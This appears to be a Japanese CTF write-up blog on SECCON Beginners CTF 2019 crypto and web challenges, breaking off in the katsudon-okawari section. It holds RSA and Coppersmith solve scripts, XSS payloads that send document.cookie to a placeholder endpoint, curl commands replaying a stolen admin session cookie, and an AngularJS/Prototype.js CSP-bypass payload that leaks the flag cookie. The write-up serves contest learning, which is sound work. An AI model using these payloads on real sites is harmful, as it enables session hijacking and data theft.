834180113172375993619202441433878462222459376433766539917681494324516869050799559084123304662013852528859701671535733246127686816249786800202019472134951482141491682727868745338143814796389724355535410796996799152335616716396793017425995468005025177901866795042795317796489496669238797012045658624986369383620515305840083376399822510353131159173071733943069076639390778666722770931037712889491637610918296264023991118169482085540185329507246559870533338799265422509919338520293594798114339716651429087152615982885784258586553515438235814169576204459037282812783899921641782635316144267326318645048797056782058271336 > 2 834180113172375993619202441433878462222459376433766539917681494324516869050799559084123304662013852528859701671535733246127686816249786800202019472134951482141491682727868745338143814796389724355535410796996799152335616716396793017425995468005025177901866795042795317796489496669238797012045658624986369383620515305840083376399822510353131159173071733943069076639390778666722770931037712889491637610918296264023991118169482085540185329507246559870533338799265422509919338520293594798114339716651429087152615982885784258586553515438235814169576204459037282812783899921641782635316144267326318645048797056782058271336 > 2 834180113172375993619202441433878462222459376433766539917681494324516869050799559084123304662013852528859701671535733246127686816249786800202019472134951482141491682727868745338143814796389724355535410796996799152335616716396793017425995468005025177901866795042795317796489496669238797012045658624986369383620515305840083376399822510353131159173071733943069076639390778666722770931037712889491637610918296264023991118169482085540185329507246559870533338799265422509919338520293594798114339716651429087152615982885784258586553515438235814169576204459037282812783899921641782635316144267326318645048797056782058271336 The D was 783287662953421896822862713600395667991106305787806108558680505591530212731687573913653285500600751077250434477673605414913851550315982987952811144266797316490390223541368430502905157951886546000168953155282179519527731714834040527669327910723463315419376643719872949033550773409733901177484687388309935922248447862520286102115194478764273931229117968114605517339250149607822994519099927186843924399998446822343658774938241947831643260535148891310529619210517645720569176289091900001062954443920818615357242610813195984147890619767707360647612044982953871898768383598276447280170831336187916836966635271071291258113
ここで、この値が何を返しているかがぱっとわかればよいのですが、これは未だにどうやったらわかるのかはわかっていない。
0
を入れたら0
, 1
を入れたら 1
を返すことから、値をそのまま返すか、0のx乗
, 1のx乗
が返ってきている可能性がある。。。と、私にはここまでの推測しかできませんでしたが、どうやら入力を i
とすると、
の値が返ってきていたようです。これより、
なので i=2
, i=3
において
となり、 と は n
という同じ約数を持っていることになります。
これを利用すると n
が求まります。
今回、e
は与えられていませんが、一般的なやつ e = 65537
を使うと良いようです。
下記の接続時の値を利用してスクリプトを組んでみます。
$ nc 133.242.17.175 1337 Encrypted flag is: 9424674551266957561463893026905669950862445099427535949928602057081866664290063078064591086959173423409278834481477370563910476960280635339831147281892209288842909486783456887561227251493036205938550117969263272727816574988057848513445086242051612861790831616639051722944406336653601390854550930276952436155274568268946145331813092491760381506610458028441401325099710093699373649970913700743242170972837606063830736257312714622699302250476125113051414965864130736715005146198382908125029751902639843095642403717301868967060278341363027517190104744962170552879507597366821720516622161920694581295486276584100623546384 > 2 11561311277492287025795953466767443757789322529334684953600567889641727426917611157496972881304197313922350534625097310525374336513070821695825019996285096536179598836956763574813243329193590411429350508646348633103503045182088962911095873053521633408053272059387975018036401000497228621220988883406750346304822194629059545536628469740090089168108453672884634260210850061059087665044203430217538806995270038728289486378096813679028656620828627510613524856566710255207083601399363366813391639247678333365508950459002237795996982834794087657595694827732398849953897110824425147727403584774578041731315911945923438328135 > 3 11765239933044047397680103804002258545520768080480121960813224782667174557016958974864136396650274641604493145521354754813421094412889317694416180776118267162048630622838088930467448780434735790801477843415477483185052488710128256024997047564677999078347739660591055396336140322371207787475313726884708251762060309841932016037141300518800440618878333899210959116689907220826757438506288139154835034559224141743950323734103946015219127424328913681024946222249027070618942615232732058472441859056170626299181827371231732121619081845984818556166395204872682491969395509545232001906684485785275181103906872094976660351354 > -1 12323198856405502003937432267901192908501834583225242965340761294081320726499274831695725311899412561416130025473059544732197653746099145144367121608290596520460209068431917422469376602339673665012664883468889922275130303554745555368192382570681850375039393354120016616122767548169040965651511413055663964510798452855605113914959939511065955846297912422414682694381644032223460484275719150177285517726459180701567663762303114711812628761599055659186421437129654072841910963322580481457426553781071001066682814401461645695315857567540905852235810131586116947678236156558712655785389801653405817085523446618396954847478 The D was 11933027844198025057202455507355318436293138628875907793558682778354040861575857597526193138894983291462691970590220864973903710911926758154200318469037915015662080777283463439961419929775247114287101009120080141712686258513378128916127149285145972328619710713629926522306225096386830000796133745751843180428921089271663407719708555487986214838708863719212230132817431101737591235701846539721153646454248779519763954426970272471629771073769759663293139272946612653459366426903478785718246219565980230699023485783039286246478168122464325887793044417330189017569579655465512608943460172828160474804817454968782060311873
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import math from Crypto.Util.number import long_to_bytes c = 9424674551266957561463893026905669950862445099427535949928602057081866664290063078064591086959173423409278834481477370563910476960280635339831147281892209288842909486783456887561227251493036205938550117969263272727816574988057848513445086242051612861790831616639051722944406336653601390854550930276952436155274568268946145331813092491760381506610458028441401325099710093699373649970913700743242170972837606063830736257312714622699302250476125113051414965864130736715005146198382908125029751902639843095642403717301868967060278341363027517190104744962170552879507597366821720516622161920694581295486276584100623546384 # input = 2 x2 = 11561311277492287025795953466767443757789322529334684953600567889641727426917611157496972881304197313922350534625097310525374336513070821695825019996285096536179598836956763574813243329193590411429350508646348633103503045182088962911095873053521633408053272059387975018036401000497228621220988883406750346304822194629059545536628469740090089168108453672884634260210850061059087665044203430217538806995270038728289486378096813679028656620828627510613524856566710255207083601399363366813391639247678333365508950459002237795996982834794087657595694827732398849953897110824425147727403584774578041731315911945923438328135 # input = 3 x3 = 11765239933044047397680103804002258545520768080480121960813224782667174557016958974864136396650274641604493145521354754813421094412889317694416180776118267162048630622838088930467448780434735790801477843415477483185052488710128256024997047564677999078347739660591055396336140322371207787475313726884708251762060309841932016037141300518800440618878333899210959116689907220826757438506288139154835034559224141743950323734103946015219127424328913681024946222249027070618942615232732058472441859056170626299181827371231732121619081845984818556166395204872682491969395509545232001906684485785275181103906872094976660351354 # input = -1 xm1 = 12323198856405502003937432267901192908501834583225242965340761294081320726499274831695725311899412561416130025473059544732197653746099145144367121608290596520460209068431917422469376602339673665012664883468889922275130303554745555368192382570681850375039393354120016616122767548169040965651511413055663964510798452855605113914959939511065955846297912422414682694381644032223460484275719150177285517726459180701567663762303114711812628761599055659186421437129654072841910963322580481457426553781071001066682814401461645695315857567540905852235810131586116947678236156558712655785389801653405817085523446618396954847478 d = 11933027844198025057202455507355318436293138628875907793558682778354040861575857597526193138894983291462691970590220864973903710911926758154200318469037915015662080777283463439961419929775247114287101009120080141712686258513378128916127149285145972328619710713629926522306225096386830000796133745751843180428921089271663407719708555487986214838708863719212230132817431101737591235701846539721153646454248779519763954426970272471629771073769759663293139272946612653459366426903478785718246219565980230699023485783039286246478168122464325887793044417330189017569579655465512608943460172828160474804817454968782060311873 e = 65537 n = math.gcd(2**e-x2, 3**e-x3) m = pow(c, d, n) print(long_to_bytes(m))
実行結果
$ python solve.py b'ctf4b{f1nd_7he_p4ramet3rs}'
更に、作問者さんのつぶやきより。
Crypto4問作りました。Go RSAは-1入れるルート想定だったんですがWriteup見たらあんまりその方法で解いてる人いない感じでプロばっかりだった…。 #ctf4b #seccon
— れっくす (@xrekkusu) 2019年5月26日
ということで、上記のスクリプト (こっそり -1 を代入したときの値 xm1
を入れていました) に下記を追加で検証してみます。
n = xm1+1 m = pow(c, d, n) print(long_to_bytes(m))
実行結果
$ python solve.py b'ctf4b{f1nd_7he_p4ramet3rs}' b'ctf4b{f1nd_7he_p4ramet3rs}'
うん、同じ結果。
ちなみに、この問題のwrite-upを集めてみたけど、確かに最初から想定解で解いた人は見つからなかった。
- SECCON Beginners CTF 2019 - Qiita
- SECCON Beginners CTF Writeup - Qiita
- SECCON Beginners CTF 2019 Writeup - Qiita
- SECCON Beginners CTF 2019 Writeup - よっちんのブログ
そもそも 0, 1を入れてみる、とかそういう発想にたどり着かなかったし、そこで何の値が返ってきているのかをどうやって推測すればよかったのか…。経験値不足かな?
[Crypto] Bit Flip
平文を1ビットランダムで反転させる能力を手に入れた!
File: bitflip.py Server: nc 133.242.17.175 31337
与えられたホストにアクセスしてみます。
$ nc 133.242.17.175 31337 72427734756730630704798295316123151571926077048180170702577195841088025057870863433619014294136215627472314272055011949558482522062891513121279942556027859324718564269356714494550965436864259473399720180453529082517712370563752577974925942288028870180148291363418023041891865256142784602387289598150465089639 $ nc 133.242.17.175 31337 61979521788671885687999751903226733201621842618332115507069111542298405489779319129640214296432783313607199071215992580839477736319311465304378004064139523915075630873951994813391530501841841269985752550756358339504689537286384143212018332102220722500877511614428808808675188581447908025632146639964286085824
アクセスするたびに違う値が返ってきます。
もらえるコードは下記。
from Crypto.Util.number import bytes_to_long import random N = 82212154608576254900096226483113810717974464677637469172151624370076874445177909757467220517368961706061745548693538272183076941444005809369433342423449908965735182462388415108238954782902658438063972198394192220357503336925109727386083951661191494159560430569334665763264352163167121773914831172831824145331 e = 3 FLAG = bytes_to_long(open('flag', 'rb').read()) r = 1 << random.randrange(0, FLAG.bit_length() // 4) C = pow(FLAG ^ r, e, N) print(C)
平文のランダムな箇所をbit反転させたものを暗号化した暗号文が、降ってきてるっぽいです。
単純に N,e,c
が与えられているときの m
を求める問題にはならないか?ということでBeginnersだし4問目だけどワンチャンあるかも、ってことでNを素因数分解に挑戦してみます。
- factordb.com
- msieve
両者試してみましたが、どちらも素因数分解できませんでした。残念。
次に、e
がめっちゃ小さいので
RSA暗号運用でやってはいけない n のこと #ssmjp の p13, "𝒆 の値が小さすぎてはいけない" "Low Public Exponent Attack が適用可能" で行けるかと思ってやってみました。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import gmpy2 e = 3 c = 72427734756730630704798295316123151571926077048180170702577195841088025057870863433619014294136215627472314272055011949558482522062891513121279942556027859324718564269356714494550965436864259473399720180453529082517712370563752577974925942288028870180148291363418023041891865256142784602387289598150465089639 m, result = gmpy2.iroot(c,e) if result: flag = bytes.fromhex(hex(m)[2:]).decode('ascii') print(flag)
結果できず。まぁ一番難しい問題っぽいし、タイトルの bit flip 全然使ってないのでそれはそうかなと。
これ以上は追わず、競技終了。
他の方のwrite-upを見てみると、下記の記事にある手法が使えるそうです。
SageMathを使ってCoppersmith's Attackをやってみる - ももいろテクノロジー の Coppersmith’s Short Pad Attack & Franklin-Reiter Related Message Attack
二つの暗号文について平文の上位bitがnのbit数の (1-1/e2) 程度共通する場合、これらからそれぞれの平文を求めることができる。
ふむふむ。今回の条件に当てはまりそう。
ところでほとんどのwrite-upがsageを使って解いているんですけど、入れたほうが良いのかしら。上記リンク先で紹介しているのがsageを使った解法だからだとは思うんですけど。
SageMathはPythonベースの数式処理システムである。 Numpy、ScipyをはじめとしてR、Maxima、Pari/GPなどさまざまなライブラリが統合されており、巨大ではあるが統一的に各種演算を行うことができる。 また、Pythonがベースとなっているため、通常のPythonのように各種ライブラリを利用することも可能である。
ももいろテクノロジーさんの先程の記事にこういった紹介があり、いままでのCTFのCrypto問題でも使っている人が多かった印象だったので、下記を参考にHostのMacにSageを入れてチュートリアルとかやってみました。
- はじめに — Sage チュートリアル v9.1
- Mac OS Xへのインストール - さげます.
- https://www.pebblewind.com/entry/2019/01/04/151210
割とこういったツール、Linuxだとすんなり入るけどMacは入らないこと多いんだけど、今回はすんなり入った٩(๑❛ᴗ❛๑)۶ まだ Sage のメインは python2 のようです。下記のような記述を見かけましたが、基本python2で動かしたほうが良さそう。
話がそれました。上で紹介したももいろテクノロジーさんの記事を熟読しつつ、Coppersmith’s Short Pad Attack & Franklin-Reiter Related Message Attack を試してみます。幸いこの記事中にsageのサンプルコードが載っているので、ほとんど変えずに使えます。
実際は下記のスクリプト名は solve.sage
として作成、python2環境下で動かしました。
また、c
のセット(2つの暗号文セット)については、上位967bitが合致していればよいのですが、そういったペアが取得できるとは限らないので(実際手作業では良いペアを取得するのにかなり時間がかかりそうだった)、c
の取得は簡易的ですが何度も貰いに行く作戦で乗り切りました。
# this code is almost from bellow. # http://inaz2.hatenablog.com/entry/2016/01/20/022936 # coppersmiths_short_pad_attack.sage from telnetlib import Telnet host = '133.242.17.175' port = 31337 def short_pad_attack(c1, c2, e, n): PRxy.<x,y> = PolynomialRing(Zmod(n)) PRx.<xn> = PolynomialRing(Zmod(n)) PRZZ.<xz,yz> = PolynomialRing(Zmod(n)) g1 = x^e - c1 g2 = (x+y)^e - c2 q1 = g1.change_ring(PRZZ) q2 = g2.change_ring(PRZZ) h = q2.resultant(q1) h = h.univariate_polynomial() h = h.change_ring(PRx).subs(y=xn) h = h.monic() kbits = n.nbits()//(2*e*e) diff = h.small_roots(X=2^kbits, beta=0.5)[0] # find root < 2^kbits with factor >= n^0.5 return diff def related_message_attack(c1, c2, diff, e, n): PRx.<x> = PolynomialRing(Zmod(n)) g1 = x^e - c1 g2 = (x+diff)^e - c2 def gcd(g1, g2): while g2: g1, g2 = g2, g1 % g2 return g1.monic() return -gcd(g1, g2)[0] def get_c_pair(): c = [] for i in range(2): telnet = Telnet(host, str(port)) c.append(int(telnet.read_until('\n'))) return (c[0], c[1]) if __name__ == '__main__': n = 82212154608576254900096226483113810717974464677637469172151624370076874445177909757467220517368961706061745548693538272183076941444005809369433342423449908965735182462388415108238954782902658438063972198394192220357503336925109727386083951661191494159560430569334665763264352163167121773914831172831824145331 e = 3 nbits = n.nbits() kbits = nbits//(2*e*e) print "upper %d bits (of %d bits) is same" % (nbits-kbits, nbits) # ^^ = bit-wise XOR # http://doc.sagemath.org/html/en/faq/faq-usage.html#how-do-i-use-the-bitwise-xor-operator-in-sage m1 = randrange(2^nbits) m2 = m1 ^^ randrange(2^kbits) counter = 0 while True: print counter c1, c2 = get_c_pair() print c1 print c2 try: diff = short_pad_attack(c1, c2, e, n) print "difference of two messages is %d" % diff m = related_message_attack(c1, c2, diff, e, n) print m break except: counter += 1 flag = ('%x' % m).decode('hex') print flag
実行結果
$ ~/tools/SageMath/sage solve.sage upper 967 bits (of 1023 bits) is same 0 7550203435991990311321301643481422074445943627084660287374374601699811871000575073876877727312984271374159133927162599821378644122510264861784356014056199165715602713686650968312711028590580626509443509790053588143164865156993468718479705016994738919227989161810291164070178592865881031893866405933098686418 22847704804485272897240201332364615448076265560473081494130345961236707114724029595074930665254174643883050394417095822457682230300066684688366644862329503747236653245028193028050352131020229282412626915605242797100427600649337929655211677780729739319416990174820944195984397134699611486337684117580918892985 (中略) ・・・ (中略) 19 28208615320083399490203482798096815841524474800478304951505115797987632296337528998669478645175959282886772763377370089360071101717210815746443055242990619908675709865581221835955254566260564547294680891287315493832509807011424263544553739182777654785122612528276621612030187089330597535546869383302172314796 61323348396351307598252731709495997380210252731843689167938548647921429839595295965422931044426848709025106657470598462799392228280369373877311928671340564331254098701448003793573417475222110240678141540199342470651821266710150131876660946814902890611711184371598947506650316041533302641136132011145406568647 difference of two messages is 82212154608576254900096226483113810717974464677637469172151624370076874445177909757467220517368961706061745548693538272183076941444005809369433342423449908965735182462388415108238954782902658438063972198394192220357503336925109727386083951661191494159560430569334665763264352163167121773914830891356846386099 16260765149986038884145173876068642724013617302097779293079362876653494069932815072038851668676222848467504538570853507159925860036819304291732134150397319327193122637750054910716746167965635612837962028769149915298230040116567157454495798898178036434538204980608594381468821524975316356795784321290 ctf4b{b1tfl1pp1ng_1s_r3lated_m3ss4ge} DUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUMMYDUM]Y
ということで、20回目の暗号文ペア取得時に、いい感じの条件にはまったようで復号できました。
今回は初めてsageを入れて使ってみましたが、環境構築事態は比較的すんなりいってよかったです。機能がたくさんあるので、使いこなすには修業が必要…!
[Web] Himitsu
抱え込まないでくださいね。 https://himitsu.quals.beginners.seccon.jp
ソースコード: https://score.beginners.seccon.jp/files/c8568442c06826ed8bba5695a0ca2ea3_himitsu.zip
ソースコードのzipを展開すると、かなりの量のコードが。
どこから手を付けていいやらわからないので、とりあえずサイトの挙動を確認してみます。
topページ。ログイン、もしくは登録ができます。適当に ユーザー名: test
, パスワード: test
でログインすると、すでに誰かが作ったアカウントでログインできたっぽく、そして同じユーザー名、パスワードでログインして試みた人がそれらなりの人数いたようで、色んな試行錯誤の痕跡が残ってました( ͡° ͜ʖ ͡°)
適当なユーザー名・パスワードだと怒られます
登録画面でよくあるユーザー名やadmin
とか入れても重複してると怒られます
登録・ログインが無事に済むと、メモアプリっぽくなっています。自分の書いた記事一覧が見れたり
記事を投稿すると、普通のメモアプリとは違って、「秘密を共有する」機能が出現します。
機能が結構あるので、やはりサイトから攻めるにしてもどこから手を付けてよいのやら…?
ログイン機能でadminで入れると良いことあったりする?
それとも自分の書いた記事が見れるから、記事の投稿部分にXSS脆弱性があったりする?
それともそれとも、タイトルがHimitsuだし、秘密の共有機能を見るべき…?
そう言えば、記事の投稿ページを良く見てみると、「書き方」というのが載っています。
普通のXSSが刺さらなくても、こっちが刺さるかもしれません。ということで試してみると怪しい挙動が。
[#6911da9dc2af409efc4d1e3f6849e312#] [*太字*] [-取り消し線-] [=イタリック=] #タイトル
って感じの記事を投稿しようと思ったんですけど、埋め込み先の記事のタイトルはXSSが無いか確認するために <s>test</s>
としていたのでした。
他、タイトルに<img>
タグを埋め込んだ記事を埋め込み指定しても同様のエラーが。どうやら埋め込み記事のタイトルに <
があるとエラーになるようです。
この辺をどうにか回避して、秘密の共有機能で運営に記事を共有すると、運営がアクセスしてくれてセッション取れたりする系かなー?と思いつつ、競技終了。
Web問題って「よっしゃこれだ!」というのを探すのが難しくていつも解けてない気がします…。今回も一通り気になるところをちょいちょい試してみて、他の問題に移っちゃいました。
他の方のwrite-upを見てみると、シナリオと [#記事ID#]
の記法部分を使うのは合ってそう。そこからちゃんとソースを追って、validation部分を確認していらっしゃる。闇雲に色々打ってみるだけでは駄目だなぁ。
ソースを読んでみると、以下のことがわかる。
schema.sql
より、flagが運営?のadmin
ユーザの記事の本文に書いてありそう- すなわち、adminとしてログインできればflagが取れそう
backend > classes > ArticleController.php
よりaddArticle
内では[# ... #]
で指定された記事のタイトルにスクリプトがないかチェックしているgetArticle
内では上記チェックをしていない
事くらいがざっと見てわかります。
特にbackend > classes > ArticleController.php
のaddArticle
内のコメント
// here we should only validate and shouldn't replace; [# ... #] should be replaced here because the title can be changed :-)
が怪しい。投稿時点(here)では埋め込み記事をリンクには書き換えず、取得時(getArticle)にリンクへの置き換えを行っている。
更に、タイトルの書き換えが可能と言っているけど、そんな機能はないような…?
ここで、記事作成時のIDの作成箇所を探してみます。上記backend > classes > ArticleController.php > addArticle
を読んでいけばその先に書いてありますが、backend > classes > ArticleMapper.php > createArticle
関数で記事IDを作成しています。
$created_at = date("Y/m/d H:i"); $article_key = md5($username . $created_at . $title);
ロジックがわかるので、任意のユーザーが任意の時間に作る任意のタイトルの記事IDを生成できます。
また、記事の投稿時点では埋め込み記事はreplaceを行わずvalidationだけを行うため、空の記事のIDを貼っておくことが出来ます。
ということで、
- 未来の時刻を指定して記事IDを作成
- 上記の記事IDを本文に
[# ... #]
記法で埋めた記事を投稿 - 1で指定した時刻に、1で使用したタイトルと同じタイトルの記事を投稿 (ただし、記事のタイトルがcookieを横流しする攻撃になっている)
ちなみに、date
関数の仕様は以下。
https://www.php.net/manual/ja/function.date.php
分単位なので、余裕を持って準備できそう。
phpのソースそのままつかって記事IDを作成しても良かったのですが、php使い慣れていないのでpythonで。
#!/usr/bin/env python3 # -*- coding:utf-8 -*- import hashlib import datetime username = 'kusuwada' article_title = """<script>document.write("<img src='自分で管理できるEndpoint" + document.cookie + ">'")</script>""" created_at = '2019/05/30 23:38' # 1分くらい先の時間 article_key = hashlib.md5((username + created_at + article_title).encode('utf-8')).hexdigest() print(article_title) print(created_at) print(article_key)
実行結果
$ python solve.py <script>document.write("<img src='自分で管理できるEndpoint" + document.cookie + ">'")</script> 2019/05/30 23:38 44db640d41016d6e6f9c79355a2c9a30
ということで、まず
タイトル:てきとう 概要:てきとう 本文:[#44db640d41016d6e6f9c79355a2c9a30#]
の記事を作成。この時点で 44db640d41016d6e6f9c79355a2c9a30
の記事はないのでvalidationチェックに引っかかりません。
で、2019/05/30 23:38 きっかりに
タイトル:<script>document.write("<img src='自分で管理できるEndpoint" + document.cookie + ">'")</script> 概要:てきとう 本文:てきとう
の記事を作成。作成した記事のIDが上記で指定したものと同じになっていることを確認します。
あとは、最初に作った記事を管理者に共有すると管理者が踏んでくれるので、仕掛けたEndpointに管理者からのアクセス with cookie情報が届きます。
GET /my/api/pathPHPSESSID=955cab32e275d150d404083fed2c6e6e%3E
これで、管理者の session が 955cab32e275d150d404083fed2c6e6e
と判明しました。
あとは自分の記事一覧ページのGETに管理者のsession cookieをつけて投げてみます。
curl https://himitsu.quals.beginners.seccon.jp/mypage -H "Cookie: PHPSESSID=955cab32e275d150d404083fed2c6e6e" > flag.html
flag.htmlを見てみます。
あやや!??詰めが甘いって言われてしまった。
このhtmlの中で、flag記事へのリンクが file:///articles/28a147ca4874466215662ac702c730cf
となっているので、再度この記事のurlへアクセス。
curl https://himitsu.quals.beginners.seccon.jp/articles/28a147ca4874466215662ac702c730cf -H "Cookie: PHPSESSID=955cab32e275d150d404083fed2c6e6e" > flag.html
今度はちゃんと入ってました。めでたし!
ところで別解として、[#[#記事ID#]#]
とすると、validationをバイパスできるというのがあった。
SECCON Beginners CTF 2019 Writeup - こんとろーるしーこんとろーるぶい
入れ子が有効になる事があるやつだ。確かにチェック部分を見てみると、本文中の全ての埋め込み記事をチェックしているものの入れ子のチェックにはなっていない。こっちに気づければ、こっちのほうが省エネでできそう!
ということで、こっちも解法でもやってみます。
下記タイトルの記事を作成。
<script>document.write("<img src='自分で管理できるEndpoint" + document.cookie + ">'")</script>
もう一つの記事を作成。タイトルは適当で本文に
[#[#さっき作った記事のID#]#]
あとは運営に秘密を共有する手順を踏むと、自分で管理しているEndpointに運営からcookieがpathに入ったリクエストが届きます。
GET /my/api/pathPHPSESSID=bdb6740e2f646d32990e4d1cb29b3804%3E
同じように運営用のsession bdb6740e2f646d32990e4d1cb29b3804
が取得できました!これ以降は上記の方法と同じ方法でflagが取得できました。
[Web] Secure Meyasubako
みなさまからのご意見をお待ちしています。 https://meyasubako.quals.beginners.seccon.jp
参考: https://score.beginners.seccon.jp/files/f379baacbdd51cd8305869a633377aa4_crawl.js
またもやソースとセットのようです。競技中はまったく触れませんでした。
jsの方はこちら
const puppeteer = require('puppeteer'); const flag = process.env.FLAG; const browser_option = { executablePath: 'google-chrome-stable', headless: true, args: [ '--no-sandbox', '--disable-background-networking', '--disable-default-apps', '--disable-extensions', '--disable-gpu', '--disable-sync', '--disable-translate', '--hide-scrollbars', '--metrics-recording-only', '--mute-audio', '--no-first-run', '--safebrowsing-disable-auto-update', ], }; const default_cookie = { "domain": current_host, "expirationDate": 1597288045, "hostOnly": false, "httpOnly": false, "name": "flag", "path": "/", "sameSite": "no_restriction", "secure": false, "session": false, "storeId": "0", "value": flag, "id": 1 } /* ... */ const browser = await puppeteer.launch(browser_option); const page = await browser.newPage(); await page.goto(current_host, {waitUntil: 'networkidle2'}); await page.setCookie(default_cookie); await page.goto(url, {waitUntil: 'networkidle2'}); await page.waitFor(3000); await browser.close();
サイトにアクセスしてみます。目安箱のようです。下書きが保存できるみたい。
新しい意見を作成してみます。
下書き一覧に加わりました。
下書きの詳細を確認します。
Himitsuと同じく、私はロボットではありません試験をクリアすると、下書きが管理者に届けられるとのことです。
さて、なんとなくHimitsuと結構似ているような…。
またXSSを利用して管理者にリンクを送りつけて踏んでもらう系かしら。
簡単なXSSチェックをしてみると、記事一覧ページではエスケープされて表示されていたのに、詳細ページでは…
あ。
<s>test</s>
の本文だったはずですが、スクリプト実行されています。
ここでもらったjsを見てみると、cookie の default_cookie
の value
に flag が設定されているようです。
先程のHimitsuとますます同じ匂いがしてきました。しかも標準XSSが刺さりそうです…!
ということで、下記のOWASP XSSチートシートにも載っている alert スクリプト <IMG SRC="javascript:alert('XSS');">
を入れて、詳細ページを見てみます、
が、alert表示されません。
もっとシンプルに <script>alert('XSS')</script>
で埋めてみても、何も出てきません。んんん?
ResponseHeaderを見てみます。
おお、Content-Security-Policy
(CSP) が設定されていますね。CSPについては下記などを参照。
- コンテンツセキュリティポリシー (CSP) - HTTP | MDN
- IPA ISEC セキュア・プログラミング講座:Webアプリケーション編 第8章 マッシュアップ:クライアントサイドマッシュアップ: #4 対策に利用できる技術
ちょっと前にSASTツールをWebアプリケーションにかけた時に、セキュリティ対策候補として提案されたこともありました。
JavaScriptコードの安全を保つSAST(静的解析)ツール ~ npm-audit, NodeJsScan, LGTM~ - 好奇心の足跡
このヘッダをサーバから返すことにより、参照して良いリソースを指定でき、意図していないJavaScriptの実行やリソースの読み込みをブラウザ側で制限することができる、というもの。
今回は
Content-Security-Policy: script-src 'self' www.google.com www.gstatic.com stackpath.bootstrapcdn.com code.jquery.com cdnjs.cloudflare.com
が設定されていました。
他にも、セキュリティ関連のHeaderだと
X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 0
が設定されています。
ここで他の方のwrite-upを見ると、CSP bypass
とかで検索するといくつか手法が出てくるらしい。
一番手段として確実そう&手がかりとして良さそうだったのが、下記のサイトでCSPの安全性を調べるというもの。
今回のURLを指定してチェックしてもらいます。
いくつか警告が出てくるので、これをもとに攻撃手法を調べるのが良さそうです。今回はJSONPやAngularを使う方法が指摘されています。
調べていると、とっっっっっっても勉強になりそうな関連記事があったので貼っておきます。
Content Security Policy Level 3におけるXSS対策 - pixiv inside
この章に、今回使える攻撃の解説が載っています。また、JSONP・Angular両方を使ったbypass方法についても触れられています。
JSONPバイパスで使えるエンドポイントの例は下記
csp-evaluator/jsonp.js at master · google/csp-evaluator · GitHub
Angularバイパスで使えるエンドポイントは下記
csp-evaluator/angular.js at master · google/csp-evaluator · GitHub
CSP Evaluator指摘されたエンドポイントも載っています。
さて、今回他の方のwrite-upでは、このあたりの攻撃手法を調べていて下記の記事に行き着いた人が多かったみたいです。
csp bypass cookie cdnjs
とかでググると割と上位に出てきました。
H5SC Minichallenge 3: "Sh*t, it's CSP!" · cure53/XSSChallengeWiki Wiki · GitHub]
ここの 191 Bytes 版の方法を使ったチームが多かったみたいです。
ちなみに、この記事の 191 Bytes番の解説がこちら(ほぼGoogle翻訳)
以下引用 (ソースコードに改行を見やすさのために追加)
"ng-app ng-csp> <base href=//ajax.googleapis.com/ajax/libs/> <script src=angularjs/1.0.1/angular.js></script> <script src=prototype/1.7.2.0/prototype.js></script> {{$on.curry.call().alert(1337
Prototype.jsとAngularJSを組み合わせることによる効果を悪用する、この通信(解法)は非常に面白いです。AngularJSは、integrated Sandbox を使用して
window
へのアクセスを禁止しています。それでも、curry property
拡張を持つPrototype.JSはcall()
で呼び出されたときにAngularJSに気付かれずにwindow
object を返します。つまり、Prototype.JSを使ってwindow
を操作し、そのobjectのほぼ全てのメソッドを実行することができます。ホワイトリストに掲載されたGoogle-CDNは、古いAngularJSバージョンとPrototype.JSの両方を提供します - 私たちが好きなように
window
を操作するために必要なものにアクセスできるようにします。ユーザーの操作が不要です。
ということで、Prototype.jsとAngularJSを組み合わせて、cookieをパラメータに突っ込みつつ任意のURLにアクセスさせるスクリプトは下記のようになります。
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script> <div ng-app ng-csp> {{$on.curry.call().location.href="{自分で管理しているEndpoint}"+$on.curry.call().document.cookie}} </div>
これを本文に持つ記事を作成し、詳細画面を表示せずに「管理者に届け出る」をやります。
すると、上記で設定した {自分で管理しているEndpoint}
に下記のアクセスが来ます。
GET /my/api/pathflag=ctf4b%7BMEOW_MEOW_MEOW_NO_MORE_WHITELIST_MEOW%7D
pathflag を url decode したら
ctf4b{MEOW_MEOW_MEOW_NO_MORE_WHITELIST_MEOW}
flagになりました!
競技時間中にここまで辿り着くには、まず前提としてCSP/CSP回避に関する知識があって、適切な攻撃手法を調べる能力も必要なんだなぁ…。Web問むずい…!!
そして今回も大変お勉強になりました。どうもありがとうございましたっ!
[Web] katsudon-okawari
クーポンの管理画面なんだよな...
katsudonに不具合があったため、追加された okawari 問題。
katsudonについて、問題にミスがあることが判明いたしました。修正版をkatsudon-okawariとして追加致しました。この度は申し訳ありませんでした。 #ctf4b #seccon
— SECCON Beginners (@ctf4b) 2019年5月25日
結局解けたのが8チームと一番少なかったですが、先のMeyasubakoとどっちがラスボスの予定だったんでしょう?
こちらも時間がなくて競技中は全く見れなかったので、まずは自力で調査してみます。サイトの作りや基本的な構造はkatsudonと同じはず。
まずはkatsudonの解法、/flag
ページでもらえるクーポンなのかシリアルコードなのかわからに文字列をbase64 decodeしてみます。
/flag
ページに表示される文字列は下記。
bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ==
--
の前・中・後が base64 encode されてそうだったので decode してみましたが、特に有力な情報は得られず。
指定のurlに飛んでいろいろつついてみる。今回は katsudon であった、各店舗のシリアルコードの表示もない。
top画面 (/storelists
)
クーポン発行 (/coupon
)
各画面のソースを見ていきますが、sytle
が長いなー。という感想。。。
と思ったら、 /coupon
画面のソースに怪しいコメントを発見。
<!-- debug: app/controllers/coupon_controller.rb -->
ほほう。これって katsudon の問題で提供されたコードと同じ名前っぽいけど、katsudon 問題のソースを参照して良いのかな?
# app/controllers/coupon_controller.rb class CouponController < ApplicationController def index end def show serial_code = params[:serial_code] @coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code) end end
うーん、これだけではさっぱりわかりません。サイトにも入力フォームもcookieも無いので、とりあえず手がかりが無くなったっぽい。。。
もう一度katsudonのほうの問題文を読み返してみます。基本的にこの問題の情報はそのまま使って良いはず。
Rails 5.2.1で作られたサイトです。
